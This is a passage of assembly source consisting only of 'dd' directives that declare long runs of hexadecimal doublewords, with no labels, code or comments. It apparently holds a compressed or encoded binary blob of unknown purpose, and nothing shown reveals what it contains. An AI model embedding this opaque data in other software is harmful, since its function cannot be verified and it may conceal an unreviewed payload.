		dd 0E6B278E1h, 0C9909096h, 151D9207h, 1AC07191h, 4AC2779Eh
		dd 0B3F104A3h, 88036834h, 0D030B2C0h, 6E2910E8h, 70F8B8BCh
		dd 0B41E4CE4h, 0E52BAC09h, 33DB5820h, 800CF735h, 802D8308h
		dd 16B4B2Ch, 911D9224h,	0EC63FC7Eh, 81D4F30Fh, 0F9F0A0ACh
		dd 24B24B2Ch, 92B01D21h, 7AE0C8DEh, 0E56CA086h,	9AD73981h
		dd 0A92C1A85h, 0DBA84484h, 0C0A0C38Fh, 0C6AC7A12h, 18428E0h
		dd 786B575Ah, 944B852Ah, 12ACF858h, 0A0C8B182h,	0D8831480h
		dd 6A0FF3FBh, 4E67B884h, 0F8A611E0h, 0C9309017h, 0D6C04292h
		dd 70CCEC54h, 665C0850h, 7AA03901h, 87B281CDh, 5C44BC20h
		dd 26108001h, 90E0710Eh, 846B8C05h, 3C801A6Ch, 0A611EEh
		dd 0D5CF3A5Eh, 9D01BC37h, 3B925505h, 0B4887C2Ch, 0F7C6243Ah
		dd 0C8881814h, 14B19481h, 0E2C59600h, 0DD4A8929h, 8F018010h
		dd 80BD6592h, 0C0FEC227h, 513BD0h, 0D8A22F96h, 0A8DCC744h
		dd 0BB293D09h, 0B65C2243h, 0E61442A9h, 0A5690228h, 27EEB25Eh
		dd 8111D884h, 2D1030BCh, 812D0918h, 897011B5h, 7AE7C60h
		dd 0C574717Bh, 0E6AC7077h, 406980Bh, 84122B0Eh,	4CBFF870h
		dd 8100F3ECh, 5E56FC6Fh, 830F893Fh, 23CE8259h, 0A801F861h
		dd 61DCB25Dh, 0E72608Bh, 0F7EACFA8h, 8E2AD481h,	0CF530034h
		dd 900DB01Eh, 0DB2C0334h, 0D5F73ABEh, 0AC81A882h, 0BC208254h
		dd 0ACB80BA9h, 0A4D8A9FAh, 0A080121Ch, 487AFC39h, 6C09BD3Eh
		dd 4C83DBDDh, 3879EE47h, 0F6ACC008h, 2892009Dh,	41AE552Eh
		dd 0C700527Ah, 5FF2E79Ah, 98A99E91h, 3FF0080h, 0C14509F9h
		dd 0D61A08B8h, 325848FDh, 9B0E62B4h, 2405B284h,	2AF8C117h
		dd 3CA0A818h, 3460F4A2h, 0B764D6h, 4F755A9Ch, 26CB0494h
		dd 0C087524Eh, 51892D08h, 89140748h, 86C49172h,	3FD4E9A4h
		dd 12CF0D92h, 0B1DC0240h, 884053C8h, 0B425D6A2h, 7630B89Eh
		dd 0E3C40154h, 0F2AC6C69h, 16E834AEh, 81BE9139h, 0B2560580h
		dd 3082E324h, 9825A564h, 268440E1h, 0C9F05014h,	6C06E22Ch
		dd 0F827E4ACh, 0C3848428h, 614D651h, 0CE083803h, 430EB20h
		dd 42ACF470h, 0D224A052h, 0CD4F83E4h, 0F572CC41h, 8C21F7A4h
		dd 563C00DEh, 53480C83h, 0F0812427h, 932788C8h,	2B7BA070h
		dd 28454BCEh, 8995F550h, 39400B30h, 4200F04h, 594104A0h
		dd 0A8B229CDh, 76E1004Ch, 8388D5B1h, 94261F80h,	0DA398B82h
		dd 96FE7C00h, 0F8E0115Eh, 7368EF48h, 9790B6Bh, 17D8D2AEh
		dd 0C10655FDh, 6899ACFCh, 77DC0328h, 24C517D5h,	13487218h
		dd 4380CD1Dh, 9FE758E8h, 0BAA83196h, 98443C2Eh,	24D57178h
		dd 2794ACDEh, 0F6092414h, 0AA2CFA29h, 8A0DBC14h, 54F458CFh
		dd 8CD0400Ah, 0ADF2C798h, 3A2C9302h, 643101A9h,	8BF880D8h
		dd 30D35A89h, 7CB87D4h,	4B6AB212h, 888E0488h, 54A3C6BBh
		dd 29139086h, 0F8CC0A4Ah, 0F17A2655h, 0A6F660CCh, 0FC6886B3h
		dd 0A0ECF438h, 605E5801h, 8C032C45h, 0F0A0CD76h, 3739893Bh
		dd 280C5A6Ch, 375A9F8h,	92D91619h, 5B90817Eh, 0C171E92Ch
		dd 7AE1D10Bh, 5610802Fh, 8BC554Ah, 679029F0h, 8E91B3Ch
		dd 70904F58h, 62916558h, 8A7180C6h, 5158F620h, 0F008E498h
		dd 4C9684BFh, 20886FC5h, 99F934C9h, 78C0E418h, 1984E752h
		dd 5A60E504h, 788759A7h, 678D3102h, 306CC55Bh, 899F879Ch
		dd 0CEC002F4h, 0F57802CFh, 0DFA070E1h, 9E0FF003h, 0A604B3D9h
		dd 0D54C0C20h, 7EE10714h, 811FB2B0h, 0ABC1585Eh, 0B6342A06h
		dd 0A9522C70h, 86DDD6E0h, 770FC107h, 0BD709303h, 6FF444B0h
		dd 9C60D02Eh, 3529ECCBh, 24904049h, 716050C6h, 3CDBE5h
		dd 657D2105h, 0BBD27961h, 0E9BD2E01h, 0D0957352h, 8002821h
		dd 4C8CA905h, 5BC96014h, 0F40B7402h, 77084C2Bh,	322D011Eh
		dd 0CD1A0CC2h, 762C70F7h, 0E8B01062h, 57B8B271h, 0E064C0E2h
		dd 0C13229FEh, 82705842h, 0C07912A0h, 3D9138A4h, 0B502DB5Fh
		dd 0A069B29Fh, 0A92B2000h, 4D4E9Dh, 0A66D7F8h, 7EFE107Bh
		dd 35184500h, 0B381FBF5h, 0E6C5049Ah, 0FC84568Dh, 8CA48018h
		dd 9B998943h, 0E8D68B54h, 265B10C0h, 0A40C88B1h, 9AF6213Bh
		dd 25E92244h, 58A5BF00h, 30BA0EC3h, 0EF153EE4h,	0BBF29E85h
		dd 1E0805C8h, 0F145FA7h, 5B201133h, 0D105A906h,	0F9015898h
		dd 87598289h, 2EFC9C64h, 60D70311h, 0B5D5F51Ah,	0EDFCD0F4h
		dd 0D324D668h, 83400C23h, 640C8AAh, 0ECAC8FE8h,	903BB882h
		dd 4C56A6A4h, 8994FFC7h, 2E454A0h, 32DB9EFAh, 2840388Dh
		dd 9096D429h, 0D0079616h, 0D7C0DF87h, 60BDD576h, 0F95970D8h
		dd 0E65457A4h, 91653C98h, 0B4C12518h, 0C629AEEh, 0D6019483h
		dd 98C839C2h, 9C1FD7B8h, 783BD5CEh, 11D88031h, 0B450CB29h
		dd 0D7C2Dh, 81F7C368h, 0F9E8482Bh, 4EE67202h, 0E05B06FBh
		dd 3B7CB38Ch, 0D70ECCC8h, 62A03C0Ah, 0A407B8C4h, 2FBBD900h
		dd 945E4C30h, 34D3489Eh, 712C1310h, 858AA801h, 5A14A924h
		dd 4B12420h, 0B70BEA2Eh, 8AC8C090h, 8421FE89h, 7DE8B7Ah
		dd 0B15FD4E0h, 0ACE82F04h, 50D0B8D4h, 30A904DCh, 0E7106E6Ah
		dd 3F6F6929h, 222CE070h, 4833A402h, 0F92E4CE3h,	719800E3h
		dd 9C246587h, 862BC703h, 3C5164ACh, 733D7A90h, 61AF0A1Ah
		dd 8E72B880h, 894E024Bh
		dd 0C22AE6BCh, 0CD0740F0h, 0FA7C8C05h, 94E5893Bh, 587C0428h
		dd 1C4D0075h, 4A00B4D0h, 1E25D2FEh, 72E46C55h, 0C4AC2C04h
		dd 0A4800A5Ah, 6EF7F48h, 4C53A33h, 39304883h, 0F3D60887h
		dd 0F0ECA0F6h, 23510960h, 9CC09848h, 11808D4Fh,	13689C19h
		dd 0F9608261h, 605A9C42h, 7D80BC5Ch, 6098B22Dh,	0D6C120h
		dd 3AC7BAE1h, 0D5DD0F88h, 89BDE42Fh, 553807DCh,	0F892C385h
		dd 0B274E8ECh, 1CCE5C5Ch, 0CDD6FB06h, 7A07208Fh, 25E2FA68h
		dd 40742952h, 1F3E038h,	8701F9DEh, 9E8B91ACh, 1DC06C88h
		dd 77C8DBA9h, 6FB32EDAh, 101AA744h, 7C916089h, 0B254309Bh
		dd 0C482C85Ah, 10A858A6h, 99362Ah, 608637E5h, 631AACB4h
		dd 703038A3h, 8CA5F118h, 202FA38h, 3A8036B3h, 90E28A53h
		dd 58CE046Ah, 8D53AC80h, 9072F427h, 0B64AD358h,	16A6220h
		dd 870280C4h, 3C183B71h, 138C5083h, 0D70193EFh,	0DC3F82C8h
		dd 1272851h, 88992A8Ch,	3BEC302Ah, 50F396A9h, 0C26D7844h
		dd 0B205D105h, 0DC022D2Ch, 68B1D54Bh, 0C48CF4ECh, 9D92F60h
		dd 540C2025h, 0CB0F47B2h, 9D809F30h, 1371768Ah,	700B301Fh
		dd 332B7903h, 0A4804873h, 0B865B315h, 81055009h, 9059C81Ah
		dd 4FF4A0A5h, 989105B1h, 55A632A8h, 0D4A26468h,	0FA046544h
		dd 96D721h, 503EA93Ch, 3BDBA441h, 0E4AED6F4h, 1F54928Ch
		dd 9DC35328h, 0E10820C4h, 1149B218h, 2D5B6868h,	0A8E17EA9h
		dd 22643D81h, 12C8B4F4h, 24882109h, 783020CCh, 116CD512h
		dd 0A8802C01h, 72C8FB07h, 0EFF72730h, 0A8986C24h, 15821020h
		dd 0E3F98D12h, 0A4B21720h, 0B017F0B0h, 0C0DC94B0h, 55790589h
		dd 9395927Ch, 0CAFDC188h, 32AC98F0h, 8E4835BCh,	0FA09C0D9h
		dd 0FF4400B3h, 256126C7h, 0F8432034h, 0D53B4A00h, 0DBDD6D7Dh
		dd 166090B5h, 213930D6h, 60FA3854h, 5003F70Ch, 222AA5E8h
		dd 0F501EB4h, 40296558h, 0B8001CC7h, 168D4325h,	0ACA80901h
		dd 6C20BCABh, 0C1D106D2h, 0CB9EE604h, 0B08069E3h, 9E9C5D16h
		dd 1CC94180h, 80BC388Dh, 512E2692h, 98D0E382h, 0A34125EDh
		dd 0B19028C0h, 0F5542900h, 2484B3C9h, 81C49604h, 0AB9C5396h
		dd 1B47C45h, 0A93A508Bh, 8A0190E8h, 3243999h, 29E3CE9Eh
		dd 10EED2h, 0ED708108h,	2A033D54h, 18A03F30h, 30B2F5E3h
		dd 0F1389726h, 101B6D7h, 7302D883h, 10D87C39h, 1E374A2Bh
		dd 1DA946E8h, 0C9257079h, 4BC29DBh, 0DCE284F0h,	36ACDA04h
		dd 29F502B9h, 24845CA9h, 0C8C0C0B8h, 254A8680h,	9C05E429h
		dd 604E68E6h, 0B25CB50Ch, 21981927h, 990434CCh,	59C3A460h
		dd 6C047C67h, 0B8F5AC85h, 298B045Ch, 4CB5698Fh,	90C4042Bh
		dd 71BD00A7h, 8D7C2h, 8C2D4CDBh, 0FEC2B0Eh, 5A1A30CBh
		dd 49043E0Ch, 1016B91Ah, 9B6980F8h, 0E9B482B0h,	0D25442B7h
		dd 0CF4150FCh, 0A9140C97h, 2A884224h, 0D0D5C604h, 48CC01BBh
		dd 0FD8D0B58h, 1C5832D6h, 9E007274h, 64EE3A9Ch,	0FA6A892Eh
		dd 0DC5C58B8h, 0A6A1C000h, 0EEC8487h, 0B500C090h, 1DC618EBh
		dd 814CCDB2h, 0D98C2175h, 3A642102h, 0ED7B7480h, 29E4EC7h
		dd 0E709D620h, 9CEB9200h, 0B15501B8h, 0E5AC6A30h, 84136FB0h
		dd 5A098C1Eh, 8928A0E9h, 0F8456FDh, 0C16F4E9Bh,	0EA62A420h
		dd 43F6D97h, 0C955BF59h, 14F84DC0h, 0C1A0081Ah,	0A27BD6FFh
		dd 0C808047h, 0D38E2E2Bh, 99281320h, 0DE002A80h, 2A05326Fh
		dd 0E0F854BEh, 4902132Ch, 0E4B4C052h, 0A3F4BAD0h, 455C8300h
		dd 641AB1Ch, 138FFEA1h,	9864DB29h, 2645C248h, 34C140A6h
		dd 81E84B08h, 305BB432h, 8B1A8380h, 7B29FE49h, 92CA391h
		dd 0CBA90340h, 90E560A4h, 136EB200h, 0CF9CC8A0h, 28713900h
		dd 86B78373h, 0BAC903DBh, 76EC30D7h, 0E3AE8D80h, 5ADA6400h
		dd 0ACEDCEB1h, 38FE4DCDh, 292F3000h, 53D62017h,	5EA0EB65h
		dd 40C8B0B4h, 0DF007281h, 0F46FE93Bh, 0A84533Ch, 2E7A3565h
		dd 486C00D4h, 4704C6A9h, 5676FD14h, 4CA86991h, 5FA82640h
		dd 877100A8h, 20B73738h, 0C0038273h, 0A954D82Ah, 4870D65Dh
		dd 6982CC87h, 545E59ADh, 94825F13h, 6592C84h, 0C0CAA925h
		dd 16DF3AE0h, 3012EC54h, 0E87B0404h, 7785A02h, 8328A3B2h
		dd 18B1879Ch, 48725C10h, 0E8F9B39Ch, 8376AEDBh,	4F53BF00h
		dd 0DD950EB0h, 9DFF05DCh, 0B635A9D2h, 40291394h, 7E70DCC7h
		dd 13D383E6h, 4D73AF8h,	10AF9A4h, 54392D72h, 0D037468h
		dd 5C96CF22h, 1C6A2AC0h, 0BA70583Eh, 9F2B0901h,	7F8CA632h
		dd 0C8551368h, 0D664C83Ch, 6891EE25h, 0B4550388h, 66AC8560h
		dd 841E50h, 0B244982Ch,	689AF6A2h, 0C437D804h, 70A428B1h
		dd 5FCF4067h, 0A862089Ch, 851F250Dh, 6D24E0D0h,	4F2B9100h
		dd 0B215EB59h, 9C01956Ah, 0D92C3971h, 78D464A2h, 8149F16Fh
		dd 0D66DFDEDh, 0FC406FD5h, 9DF38D56h, 71B21C19h, 8FC0975Bh
		dd 2EDB200Bh, 0E3809F4Ch, 0C871DCCBh, 2E5227ACh, 57C6A460h
		dd 77E02100h, 1B3BB51Dh, 0BAE73EEBh, 4812713h, 80ACF6D6h
		dd 0B3DCA33Fh, 6152AE34h, 1C4C88B7h, 0D4384025h, 0A4830FFAh
		dd 2B5A90C0h, 30746F96h, 835C0B7Eh, 6201D864h, 0FFF4067Ch
		dd 78E2711Dh, 1C89800h,	11DA1EE9h, 71C9B0B2h, 5C54EE84h
		dd 8310B640h, 0DCCA03D7h, 0C01444Bh, 40C60387h,	0F848A4C5h
		dd 332A58C5h, 5C0EF0E0h, 0A335C818h, 0A8309450h, 0EC7126F0h
		dd 615DCA00h, 25D1F60Fh, 784072E4h, 0FBF0503Ch,	6E152918h
		dd 17A28D48h, 756FE132h, 4814A320h, 4C8F8400h, 42942882h
		dd 132C765Ch, 605412D6h, 0DE034CC4h, 0AB2B8E0Fh, 4A29270h
		dd 37111B00h, 0A0583ADFh, 0DDB20B09h, 0ED00507Ch, 48D48608h
		dd 40606978h, 583C2AF8h, 26797CAEh, 0B852A9h, 6F893BEh
		dd 0F9486201h, 561F00B8h, 0C3BAED9Ah, 0DB1400D7h, 0B3813249h
		dd 3E3B2129h, 46DE0034h, 49273C5h, 0D683286Ah, 3CB49E08h
		dd 24FE909h, 98644451h,	110838C0h, 0DC660123h, 8AA05C73h
		dd 9EC323Dh, 0D95BA9A4h, 860E3F70h, 88B3DB2Bh, 3330AC6Ch
		dd 298DC0DEh, 3030632Ch, 0F49825E7h, 4320A95Bh,	5FBC40BAh
		dd 42072BEEh, 0D66FBD31h, 0C444C099h, 0A401025Ah, 2BE3B3DBh
		dd 0E4D0A489h, 0D029E80Ch, 3CDE5868h, 0D13826A5h, 0A00CD04Bh
		dd 0EF05E46Eh, 0A21DD372h, 0C0E30809h, 2C298148h, 0E7689F71h
		dd 0CD98D857h, 8A22E510h, 0E85D8C3h, 816519D4h,	719C217Fh
		dd 4676AF5h, 0A226AC02h, 5CC8B2A8h, 0BA290568h,	19F000A9h
		dd 60E1FD5Ch, 0FEB3010Eh, 9261CF06h, 60674CB0h,	0F54B303Dh
		dd 48948BA6h, 46CC81E2h, 3F054124h, 0CAE63880h,	4DAD241Fh
		dd 8AA20036h, 0AC093A0Fh, 0DC1EBC98h, 0C173FF6h, 40D71C0Ch
		dd 892C9EF4h, 3862C4C9h, 0EDF4B864h, 5FFD78C0h,	18360D1h
		dd 1B1EB8FFh, 28BBAC8Ah, 0BC90B4Ch, 1874E46Ah, 10642EB2h
		dd 0D900A34Ah, 80B3C7BBh, 9EF5D133h, 0E2708DCh,	7BBE0500h
		dd 2FBEF71h, 0AC61C8B1h, 20C87CD4h, 5E679111h, 9782C2B8h
		dd 80DC8BC0h, 3C925634h, 4B7C002Ch, 1E1261BFh, 4D0F78F3h
		dd 603D65C2h, 566A0AB9h, 75582414h, 2EE42824h, 13441998h
		dd 17ECA27Dh, 50C0AF78h, 16B710D6h, 0A28EDBD4h,	4FA73A7Ch
		dd 38A9EC81h, 0D47C772Eh, 7054ED3Ah, 0BF9E71Dh,	65A87940h
		dd 28B217E8h, 4CAC2A6Bh, 78B7472h, 8A84AC51h, 0C4B0E879h
		dd 0A3832F2Bh, 6A8C6891h, 8872FC60h, 0CB818820h, 0EAD64612h
		dd 295BB80Bh, 8C6C0884h
		dd 49B43887h, 0FBCAAE70h, 0B2021696h, 9D1C175Bh, 74E46888h
		dd 0B9E9F762h, 61D60124h, 8C702A3Dh, 59B064h, 0BEDD9614h
		dd 34D69B16h, 2C9CB251h, 20B44CDCh, 0AB60BFEh, 9C40592Bh
		dd 1F7C51E6h, 6C447100h, 477A2EF3h, 3D7C05AFh, 0D2C6E8B2h
		dd 94483630h, 0B49CFF6Fh, 578BB0A4h, 1374E5E4h,	7C34881Bh
		dd 95436C03h, 0C1A40274h, 119E6BB4h, 0A97D53FFh, 233A04C0h
		dd 0A0908339h, 0D2FB5AA9h, 63580918h, 40F74061h, 84C012D0h
		dd 7628DCF3h, 0D7820301h, 23D92441h, 9D03E036h,	776B3E8Fh
		dd 0F2A9A1A9h, 13099CE5h, 0F69C663Fh, 1DE6342Ch, 90D4B079h
		dd 84F89F48h, 1880301Eh, 0EE064B37h, 2DDD2ED6h,	2482897Ch
		dd 0C8BAB081h, 0A10CE0ECh, 31C69F9h, 504D179h, 2750173Dh
		dd 4C9514FFh, 364D0B05h, 0AEC4C0F1h, 9CB06740h,	75E5A900h
		dd 938C5EEEh, 5B0F02A0h, 0D2E95510h, 362DC4ECh,	0F83010E2h
		dd 38B09717h, 384932ACh, 0EEF512E0h, 0A82F380Dh, 0A23A803Ch
		dd 0C6F4600h, 0A906F21Ah, 20D5EA30h, 79BB1CE3h,	30D2795Ah
		dd 25509B6Dh, 597BED26h, 4C0C814Dh, 709042FCh, 8B4F109Ch
		dd 0CBEC0081h, 0EB1B91FDh, 915DFE0h, 7245808Eh,	3AC64440h
		dd 9830DB25h, 407A2954h, 3890F6E3h, 5C749400h, 0B996A7E2h
		dd 0E45CF3A9h, 0B0D70081h, 545AA48Ah, 91605FB2h, 0EFD6F418h
		dd 509ABFh, 6A73B184h, 685A29C6h, 0B0E661D3h, 0E0E4354Bh
		dd 98D7F490h, 0DB719C82h, 7D802A18h, 4BD4BE98h,	0DCC02C90h
		dd 9C82804Bh, 7BA4E88Eh, 90939D8Ah, 0C695D680h,	80009492h
		dd 35BE7006h, 15AD881h,	0E954C1C5h, 47C08358h, 5B8E308h
		dd 698F2912h, 3FC7289Ch, 0F330BB2Eh, 7581F0D8h,	0DD8D4301h
		dd 0E42489F9h, 53BC092Ah, 627644ECh, 12F4062Dh,	20905AA4h
		dd 44A01301h, 0A326E58Bh, 0C42D144Ch, 6024002Ch, 9D5E2C46h
		dd 94018AD6h, 0D5BE352h, 71FCBE72h, 7C011E4Ah, 0BC90142Bh
		dd 9010A7F2h, 97B03429h, 2AC89118h, 29BBD4h, 0CB6488C6h
		dd 986084ACh, 0ADA905B0h, 0B49804F4h, 0D1F429E0h, 0B8B4189Ah
		dd 2859F60Ah, 0EC098A92h, 16F8588Dh, 0A2B181F9h, 14ACDC30h
		dd 0D21D4A83h, 4DC1B0EAh, 0A0B0BAh, 0DD41C30Dh,	0F293DA9h
		dd 5270B860h, 59BAF72h,	0FADCD895h, 8A6CA48Dh, 5812C49Ah
		dd 0D8200241h, 9F8D5505h, 0EEB23831h, 28E77478h, 6FAA01A0h
		dd 0D6FAE185h, 0F038DEF1h, 8F0EA490h, 30E0759Ah, 0B3CA1D46h
		dd 37524F02h, 0F0CFB4B2h, 40893B0h, 889C3E7Ch, 0B2245F70h
		dd 84A3A48Ch, 8024E417h, 4C3D4A8h, 31486DA9h, 5A30064h
		dd 60D55916h, 6038D381h, 9BE673D4h, 0F2174Ch, 58EDAE55h
		dd 0EE29406Ch, 5CBC9A36h, 474EC89h, 422AA554h, 0A24CD5A6h
		dd 0C2BA09BCh, 6E002A9Eh, 7180D601h, 246F945Ch,	0DC38BD1Ch
		dd 2404AB13h, 40A48B4Bh, 7120035h, 6F7726Ah, 0C0BB381h
		dd 81CC5A23h, 357B84FAh, 3E1C11B3h, 2B62FC88h, 0D45488AAh
		dd 85DAAC86h, 0B2D4299h, 7A3F23D6h, 8108B1F0h, 0F322F8B4h
		dd 83802001h, 5C08CC50h, 5F5880B7h, 5C6F6DC9h, 0BEC4F403h
		dd 2B00803Fh, 100286AEh, 20B0544Ch, 80187405h, 0F3786355h
		dd 26015B94h, 89C8262h,	0B2E0B38Ah, 407A64FBh, 7808B0A6h
		dd 0AC4F2E00h, 44C6DB1Fh, 0B31C03C5h, 0BD3C24Ch, 0D20E72D0h
		dd 52CB2A00h, 70918A5Ah, 0FB540303h, 0DC35A31Dh, 2CB10BE8h
		dd 438C4102h, 0E858A62Bh, 91E1020h, 0B3C46EFBh,	0ED3E5470h
		dd 0C9FF8237h, 760459F2h, 69043CCh, 13117026h, 59797509h
		dd 298C8364h, 58009B3Eh, 9C3CAEDDh, 1C92DBA4h, 0B0BBD5DFh
		dd 94B25C28h, 0E12C1755h, 0D6B849DFh, 84A0D87Ch, 80E02424h
		dd 0A6F57500h, 0C5BCD7B3h, 98CD6C28h, 7E828898h, 0CA45C2ACh
		dd 0E00E079h, 2D7B6B53h, 9830E4A9h, 0DC8B4A7Ch,	0D65F8160h
		dd 5E899873h, 0C24CCB08h, 0C192CBD6h, 472B5F58h, 47DE8848h
		dd 0D7F13061h, 4017084h, 71DBB038h, 0FFC402E5h,	0B281037Ah
		dd 0FC42974Bh, 8B7CDEB0h, 0C12D4000h, 0DCA41BB3h, 1AD200BBh
		dd 95D5BDA7h, 2913E3CAh, 0C02850E4h, 669A3AC9h,	0ED38955Eh
		dd 48084C4Ch, 1CF29304h, 2A098C4Ch, 0B0A5EFF0h,	440DCFFh
		dd 9D5C96B5h, 0F2D608B8h, 590BEC96h, 0FFECE990h, 513C7919h
		dd 30052F00h, 0E00670A6h, 16088EA7h, 1682A22Ah,	0E2F8094Ch
		dd 3E580800h, 0F0B83BDBh, 0DE2C329Dh, 5ED662C0h, 62583458h
		dd 0AE2778C4h, 2CC0E616h, 785CA3h, 1600E7Ah, 5EFEF6FAh
		dd 183D0B00h, 6413A51Eh, 0BA430076h, 6D1692C6h,	0CD30D6FFh
		dd 7C8458B3h, 7DEB1235h, 2B67024Fh, 2C59BAAFh, 7B877100h
		dd 9F30CC04h, 2B2A4481h, 0A8B8C6F7h, 2C3ABA46h,	7D4980ACh
		dd 70B3BBBDh, 4E889016h, 35E898FFh, 409D9151h, 0AEB2F5F0h
		dd 8F284065h, 0D6C510BDh, 254C9391h, 0FB2B3909h, 1485914h
		dd 0B3A4DB72h, 53FFD0E4h, 0D5708100h, 0A68B2596h, 29923A1Bh
		dd 0DCD2BE00h, 1B353FEh, 0F0527733h, 56300032h,	0BA257278h
		dd 0CC16C82Eh, 0BCB001DCh, 88F56157h, 8A2922A4h, 0B870AD91h
		dd 0F9790407h, 4C40C301h, 0D60CD82Dh, 57204656h, 34CC8E5Ah
		dd 45D51C7Dh, 61B285C4h, 0C430ACEAh, 69009E1Ah,	20305A85h
		dd 3D41F0B8h, 2A84306Ah, 249081AEh, 0E302AFFEh,	73AC88D6h
		dd 0EA545899h, 8A540507h, 92BD2829h, 1810C858h,	876B0BDCh
		dd 1C2062AAh, 83564855h, 1E3A4D04h, 2BF112Eh, 0E16229ACh
		dd 3958F0FEh, 8AB82C84h, 4C90028Ch, 805EB00Ch, 2B55BE02h
		dd 71A0C8AAh, 0B7B2134Fh, 0F688008h, 11006077h,	0EE873375h
		dd 76B541F1h, 0A3AC176Ah, 0BAE42066h, 470BDD0Ch, 0AEC7E2D5h
		dd 4222AB0Ch, 2BF80270h, 0B6C0581Dh, 2A537178h,	5EA68C30h
		dd 489881h, 4FD9C591h, 2BC2DF7Ch, 0ACC45D5Fh, 35C39FC0h
		dd 1E2777Ah, 0A794E158h, 2CE4DAD6h, 813A8460h, 285BECA2h
		dd 0F74CF8E0h, 891A8BD8h, 13814F0h, 0FEF37F0Ch,	8080C954h
		dd 4F04F949h, 896088h, 0E08125ADh, 257D04Bh, 960F6490h
		dd 0E012D752h, 0DA725ABCh, 4201003Bh, 0C6B7DE83h, 46F77B99h
		dd 1C07519Ch, 1E5B9F6h,	0BDA4ECFBh, 111CD086h, 276B40B0h
		dd 732841B9h, 3392874h,	0DBC1AB0Bh, 5DE2BCF7h, 0F502B070h
		dd 5729E2C8h, 0A090EB81h, 90B4247Fh, 872A039Ch,	0AE01DB50h
		dd 58C21020h, 0C91DF4E7h, 0D38E02E3h, 985E7DB3h, 0EC8C00A7h
		dd 1D12076Fh, 6EFA51Ch,	70D26C29h, 8A5B050Bh, 1640D199h
		dd 860C04D0h, 0A21D005Eh, 1DC56816h, 17060103h,	0D6D8048Ah
		dd 1674A86Fh, 201F47C4h, 0CBC7E55Ch, 64F0BA3Bh,	14D397FAh
		dd 889D44D5h, 778A6F00h, 954A922Eh, 3F880F4Ch, 0BAD60133h
		dd 0B2596D24h, 0A46478D5h, 150B1FACh, 0D12830A4h, 5907395Ah
		dd 265EA56Bh, 7BA4D50h,	0F0850302h, 0E8A651C2h,	21F4F2E2h
		dd 3C81051Eh, 1FF744CAh, 0AECE8839h, 58205C50h,	43078804h
		dd 81BB5090h, 8F44BCDCh, 4C3496C0h, 0B26402AAh,	78026441h
		dd 2D5458F5h, 4813E2A7h, 790254C3h, 835F890Fh, 0C144A4DFh
		dd 8D05E0ACh, 8CA21EFAh, 9543A6C0h, 0D5289202h,	24D49CAEh
		dd 99B9BB66h, 8C664910h, 38E44C2Ah, 0B944E620h,	0D4C0A5E8h
		dd 484088ADh, 98DF16D6h, 5564C801h, 292010BDh, 28E8605Ch
		dd 0AAD07D02h, 6CEC9801h, 11CD1D7Fh, 98EAD630h,	225701F0h
		dd 0B0AEBE16h, 0B520806Dh, 9A18FB5Eh, 22245E12h, 890217B4h
		dd 89C45C4Dh, 4483D202h
		dd 57E89483h, 0CF302915h, 81DE20E7h, 494DF03Bh,	0C5025802h
		dd 376A3B3h, 0B100E0FAh, 70839D30h, 0CDB8CDAh, 0A65A4F9h
		dd 5BFFDE1h, 0C8EC5D44h, 88E5E12Fh, 4AC0D685h, 0F2B8880h
		dd 0BC84B1FBh, 9C76DF09h, 0A7AC8C90h, 87B00095h, 9397E37h
		dd 9A102A04h, 0ED2060C6h, 792E2D5Ch, 8C90ACE4h,	0A9F8219Dh
		dd 588058F6h, 292D5D1Eh, 0F0015C1h, 0A3594B2Eh,	786A17D3h
		dd 89F503C5h, 0C019ACB3h, 77E44816h, 7D80BCB2h,	50270E75h
		dd 0F3BBA00h, 0DE197358h, 0C1310FADh, 2B80E2CAh, 0BD8D18DAh
		dd 0EEB61E0Fh, 9244A030h, 9278D5D8h, 0E014B5F0h, 0C9880BBDh
		dd 10595598h, 88719420h, 0E52EC09Eh, 4A3A389Bh,	307898A1h
		dd 0D6CCAC0Ah, 211F01F4h, 0F035EA6Fh, 0DDA04EF9h, 409578Ah
		dd 847266CEh, 7600670Ch, 0E234191Ah, 53848B1Eh,	3A927BDFh
		dd 13681008h, 60109202h, 0C8095F21h, 1008BFF4h,	45D322Ah
		dd 5775255h, 901F0A4h, 5B21C959h, 2972C64h, 0FC57AC08h
		dd 20652D1Ch, 0E023290Bh, 0A7E7BCh, 0E97E8C8Fh,	0F6722B10h
		dd 79C8B097h, 1F58B85Eh, 0E4FD488Ch, 3409074Ch,	0C6294320h
		dd 0AE24D1F5h, 0D9A4D8AFh, 3791B309h, 47CF104h,	0F871D576h
		dd 0ABDEC0D4h, 0B0B511D0h, 0C8BF5FB5h, 0EA9572D0h, 0A5507C1Ch
		dd 0E99F3002h, 0AA512468h, 1A0C7D2Dh, 0BBDC18B4h, 7F0530E5h
		dd 0EFE0D611h, 900B38D7h, 768842F4h, 44DC96ACh,	74F9E70h
		dd 2BF1756Ch, 0C0390AB2h, 0FA760078h, 592FBA11h, 144C33FEh
		dd 70D7007Ch, 0CB725EB1h, 8AA501Dh, 14C750BAh, 2BEF17D6h
		dd 1D34D21Ch, 0C902B4D1h, 5E047A50h, 4C184B64h,	0B49C5DA4h
		dd 9E24C085h, 1825C8A3h, 0CA277478h, 65948BA2h,	0E0A30064h
		dd 9BAC6166h, 0B258B361h, 3080B9C8h, 85A91DFAh,	707A268h
		dd 0EFB564D9h, 8A822047h, 468DA15h, 46A92D77h, 2F68F403h
		dd 0EC8BDC04h, 1CF04ED6h, 0C4B21454h, 4492F84Dh, 4E2378Ch
		dd 94B0833Ah, 0BA04EDC7h, 0A45F6452h, 956CC09h,	5E48DA30h
		dd 8A8890BBh, 0AF48C229h, 0F2A20230h, 621730BAh, 8D08E0B4h
		dd 6818B7FEh, 800C23C0h, 106DC9ACh, 6FF0BC90h, 0A0D08B89h
		dd 84CCE35Fh, 32DC252Bh, 531D3864h, 17405799h, 5BB289E9h
		dd 0D52E1212h, 0C5A4C449h, 9FECBCECh, 94F07213h, 0EB1F01F8h
		dd 5C1AE2D8h, 0B8644448h, 8D60C44h, 3EB5400Eh, 0EB806E0Ah
		dd 405BC7Ah, 0E4372B69h, 171FA811h, 0C00168B2h,	69D26D71h
		dd 0B97898CCh, 58392911h, 0F89C685Eh, 0B24BE904h, 0A0A885h
		dd 3B752EE8h, 0B0C7A29Ch, 0C439016Ch, 0FD60A5Fh, 0CB60BBE3h
		dd 0BE758888h, 0FB72407Ch, 997D3226h, 46B6ED00h, 9E12478Ch
		dd 91E81878h, 41D8088Eh, 6A22BD00h, 12EC7BD9h, 0E90D0084h
		dd 0C125092Eh, 0DB061B54h, 9466953Ah, 43493820h, 0C903C0BEh
